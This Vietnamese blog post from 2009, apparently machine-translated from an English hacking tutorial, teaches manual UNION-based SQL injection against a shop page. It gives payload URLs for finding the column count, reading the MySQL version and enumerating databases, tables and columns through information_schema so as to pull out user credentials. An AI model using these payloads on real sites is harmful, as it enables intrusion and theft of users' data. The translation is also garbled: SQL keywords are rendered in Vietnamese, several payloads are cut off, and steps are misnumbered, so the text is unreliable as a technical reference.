Tuesday, November 24, 2009

0

SQL injection tiếp - SIêu Tiềm

Posted in
SQL Injection là gì?

Nó định nghĩa chính nó, nó cho phép thực hiện các lệnh SQL. (trong ngắn hạn)
Phạm discloses thông tin nhạy cảm như người sử dụng, mật khẩu, thông tin thẻ tín dụng, khá nhiều tất cả mọi thứ được lưu trữ trong cơ sở dữ liệu ...

Làm thế nào để kiểm tra xem nếu một trang web là dễ bị tổn thương bình thường sql injection
Nói cho phép chúng tôi có một trang web: http://www.website.com/shop.php?id=10
Chúng tôi có thể thêm vào xe đặc biệt nào để kết thúc như ', ", vv .., điều này sẽ làm cho liên kết:
http://www.website.com/shop.php?id=10 '
Bây giờ, nếu chúng tôi nhận được một lỗi như:
Lỗi cú pháp trong SQL tại ....
mysql_fetch ......
mysql_num .....
Và các công cụ như thế, bạn sẽ có được những bức tranh tôi hy vọng ....
Sau đó, nó thường là do các trang web là dễ bị tổn thương.

Bây giờ, chúng tôi biết từ các trang web là dễ bị tổn thương, chúng tôi đã đi qua một vài bước sau để có được những thông tin mà chúng tôi đang tìm kiếm, chúng là:
Mã số:

1. Tìm số lượng các cột
2. Kiểm tra nếu làm việc UNION.
3. Tìm kiếm một thể nhìn thấy cột
3. Kiểm tra xem phiên bản> 5
4. Extracting bảng tên, cột tên, vv .. (Bruteforcing Hoặc nếu là phiên bản <5)
5. Hình thành các truy vấn kết thúc để trích xuất của chúng tôi thông tin cần thiết.

Tìm số lượng các cột
Để tìm số lượng các cột, chúng tôi có thể sử dụng của ĐẶT HÀNG, miễn là nó isnt lọc được.
http://www.website.com/shop.php?id=10
Nếu đó là trang web của chúng tôi dễ bị tổn thương .... chúng tôi lần đầu tiên thử nghiệm, nếu đặt hàng của isnt lọc.
+ + http://www.website.com/shop.php?id=10 lệnh của +1- - (shouldnt Bạn nhận được lỗi nào)
+ + http://www.website.com/shop.php?id=10 thứ tự của +10000- - (Bạn sẽ nhận được một lỗi)
Nếu bạn làm thế, thì bạn cũng tốt và tiếp tục ..
+ + http://www.website.com/shop.php?id=10 lệnh của +2- --
+ + http://www.website.com/shop.php?id=10 lệnh của +3- --
+ + http://www.website.com/shop.php?id=10 lệnh của +4- --
+ + http://www.website.com/shop.php?id=10 lệnh của +5- - <--- incrementing Giữ cho đến khi bạn nhận được một lỗi, cho tôi khi các lệnh của 5 (trong thế giới của tưởng tượng ).

Mã số:

Sau đó, số lượng các cột là số trước khi lỗi, trong trường hợp của tôi 4.
Giữ incrementing số như thế cho đến khi một trong những mỹ ngày bạn nhận được một lỗi, đau isnt it?
Nếu bạn đã có thể giúp bạn thông minh ra phương pháp khác .... kiểm tra của nó, nếu từ 1 đến 10, và sau đó làm 10-20,20-30 **** như thế ... nhưng bây giờ chỉ cần giữ cho đến khi bạn nhận được incrementing một lỗi.

Bây giờ, nếu bạn biết số lượng các cột, bạn có thể tạo thành công đoàn yêu cầu tìm kiếm:
http://www.website.com/shop.php?id=10 là trang web của chúng tôi
Nếu số lượng các cột của chúng tôi là 4 (như trong trường hợp của tôi) sau đó chúng tôi lựa chọn công đoàn 1,2,3,4 (Chúng tôi có thể thay thế các số điện thoại, điều này chỉ là để truy cập)
http://www.website.com/shop.php?id=10 + u ... +1,2,3,4 --
Điều đó sẽ được kết thúc của chúng tôi liên kết.
Bây giờ, chúng ta phải tìm một thể nhìn thấy cột ....
Hãy tìm một số, tôi là đảm bảo rằng bạn có thể thông báo ....... nó cần được nhìn thấy các cột ...
Chọn nó, ví dụ như nếu bạn thấy con số 2 trên trang web, đó là nhìn thấy cột ..
http://www.website.com/shop.php?id=10 + u ... LUMN ,3,4 --
Chúng tôi có thể sử dụng nó để trích xuất thông tin.


3. Kiểm tra xem phiên bản> 5
Chúng tôi cần phải kiểm tra xem là phiên bản> 5 (RẤT RẤT QUAN TRỌNG BƯƠC)
Để làm được điều này, chúng tôi lựa chọn của chúng tôi nhìn thấy cột ... trong trường hợp này là 2 ... và chúng tôi thay thế nó bằng phiên bản @ @
http://www.website.com/shop.php?id=10 + u ... Sion ,3,4 --
Nếu bạn gặp một lỗi như bất hợp pháp kết hợp của collations blah blah blah blah và cho các hoạt động 'UNION' Trong một số trường hợp hiếm hoi hay bất kỳ lỗi, bạn có thể sử dụng:
http://www.website.com/shop.php?id=10 + u ... (@ @ version)) ,3,4 --
http://www.website.com/shop.php?id=10 + u ... (@ @ phiên bản bằng cách sử dụng latin1) ,3,4 --
Bây giờ, bạn sẽ thấy các phiên bản ....
Bạn nên đầu tiên hãy kiểm tra xem nếu CNTT lớn hơn 5, ngay bây giờ ..
Nếu có, bạn có thể tiến hành hoặc bạn có đoán TABLE NAMES NẾU NHỮNG NGƯỜI BÊN DƯỚI phiên bản 5.
Bây giờ, nếu bạn biết phiên bản cao hơn 5 sau đó, chúng tôi có thể tiếp tục hoặc bạn sẽ cần phải Goto cuối này đoán tốt hướng dẫn về kỹ thuật.


4. Extracting bảng tên, cột tên, vv ..
Bây giờ, từ information_schema hiện có sẵn trong các phiên bản là lớn hơn 5, chúng tôi có thể sử dụng nó để nhận được:

Mã số:

1. Cơ sở dữ liệu tên
2. Bảng tên
3. Cột tên
Cơ sở dữ liệu nhận được các tên:

Bây giờ chúng tôi sẽ nhận được phiên bản và tên cơ sở dữ liệu người sử dụng tất cả các từ với nhau, chúng tôi biết được nhìn thấy cột (nhìn thấy cột như đã nói với tôi trước khi đi là để giúp chúng tôi nhận được dữ liệu, chúng ta cần).

Mã số:

+ http://www.website.com/shop.php?id=10 công đoàn chọn +1, concat_ws (0x3a, phiên bản (), người sử dụng (), cơ sở dữ liệu ()), 3,4 --

Trong hầu hết các hương dân chúng sử dụng "concat_ws" và có rất nhiều newbies confuse với điều đó. Nó thực sự có nghĩa là với concat separator separator và chúng tôi sử dụng phải được đưa ra trong đầu của các cú pháp. Ở đây tôi có được sử dụng 0x3a tương đương là ":". Các mục đích chính của việc sử dụng này là nhận được kết quả mong muốn định dạng trong khi chúng tôi cần nó để được.
Phiên bản ()-đề cập đến phiên bản của Mysql được sử dụng trong các máy chủ
Người sử dụng () - đề cập đến Mysql người dùng đã đăng ký trong cơ sở dữ liệu.
Cơ sở dữ liệu () - Tên cơ sở dữ liệu
Nó sẽ nhận được đầu ra ở định dạng 5,034-debian_7etch-đăng nhập: h4cky0u @ localhost: h4cky0u.
Bây giờ chúng tôi đang sử dụng để grab Information_schema tên cơ sở dữ liệu (S).
+ + http://www.website.com/shop.php?id=1 UNION CHỌN +1, group_concat (schema_name), từ 3,4 + + information_schema.schemata -
Trong những nơi dễ bị tổn thương cột của chúng tôi là bằng cách sử dụng lệnh để lấy lại dữ liệu
group_concat (expr) sẽ đem lại một chuỗi kết quả với các concatenated không Null các giá trị từ một nhóm.
và ở phần cuối của các cột, chúng tôi sẽ thêm
+ + từ information_schema.schemata-trả lại các cơ sở dữ liệu trên máy chủ
Chúng tôi có thể nhận được tên cơ sở dữ liệu không phụ thuộc vào các cơ sở dữ liệu hiện tại.
Giống như bạn sẽ có information_schema, h4cky0u, cơ sở dữ liệu, mysql, người sử dụng.
Đây là những cơ sở dữ liệu tên.
Extracting bảng tên:
Bây giờ, từ cơ sở dữ liệu mà chúng tôi biết tên ...... chúng ta cần phải nhận được bảng tên cho các cơ sở dữ liệu.
Tôi đã chọn cơ sở dữ liệu 'của người sử dụng để trích xuất bảng tên của chúng tôi.
Để nhận được bảng tên, chúng tôi đã sử dụng cơ sở dữ liệu information_schema và bảng bảng và cột table_name để trích xuất các bảng tên.
Vì vậy, trang web của chúng tôi là website.com
+ + http://www.website.com/shop.php?id=1 UNION CHỌN +1, group_concat (table_name), từ 3,4 + + information_schema.tables -
Điều này mang lại cho chúng tôi bảng mà chúng tôi không cần phải quá, chúng tôi chỉ muốn bàn cho các bảng người sử dụng.
Vì vậy: http://www.website.com/shop.php?id=1 + + UNION CHỌN +1, group_concat (table_name), từ 3,4 + + + information_schema.tables nơi table_schema + = 'users' -
Đôi khi, bạn cần phải hex nó: Nó sẽ trở thành http://www.website.com/shop.php?id=1 + + UNION CHỌN +1, group_concat (table_name), từ 3,4 + + + information_schema.tables nơi + table_schema = 0x7573657273 -
Điều này mang lại cho chúng tôi tất cả các bảng tên. Bây giờ chúng tôi lựa chọn một bảng hoặc một USEFUL bảng mà từ đó chúng tôi muốn trích xuất thông tin. Tôi sẽ đưa người sử dụng bảng, ví dụ.


Extracting cột tên:
Bước kế tiếp là để có được các cột trong các bảng biểu mà thực sự giữ dữ liệu. Chúng tôi đã được tìm thấy có thể có một bảng tên "người sử dụng" và chúng tôi trích xuất các cột từ nó.

+ + www.website.com/shop.php?id=10 UNION SE ... olumn_name), từ 3,4 + + + information_schema.columns WH ere + table_name = 'USERS' --

Một lần nữa chúng tôi thay thế dễ bị tổn thương cột số với các lệnh sau.
group_concat (column_name), chúng tôi sẽ thay thế các cột số 2 với này
column_name extracts tên nay tất cả các cột trong bảng.
Và thêm này vào ngày cuối cùng của cột
information_schema.columns từ: + + + + nơi table_name = 'USERS' -
Nó sẽ hiển thị các cột trong bảng. Nếu nó hiển thị một lỗi như thế
Không hợp lệ yêu cầu tìm kiếm: bạn có một lỗi trong cú pháp SQL của bạn, hãy kiểm tra bằng tay mà tương ứng với máy chủ của bạn Mysql phiên bản quyền cú pháp để sử dụng ở gần 'USERS'-' ở dòng1.
Laøm chaäm này và các quy trình của chúng tôi xuống. Tất cả chúng tôi phải làm là để có được một số trực tuyến hexadecimal công cụ chuyển đổi và chuyển đổi bảng tên

0 nhận xét: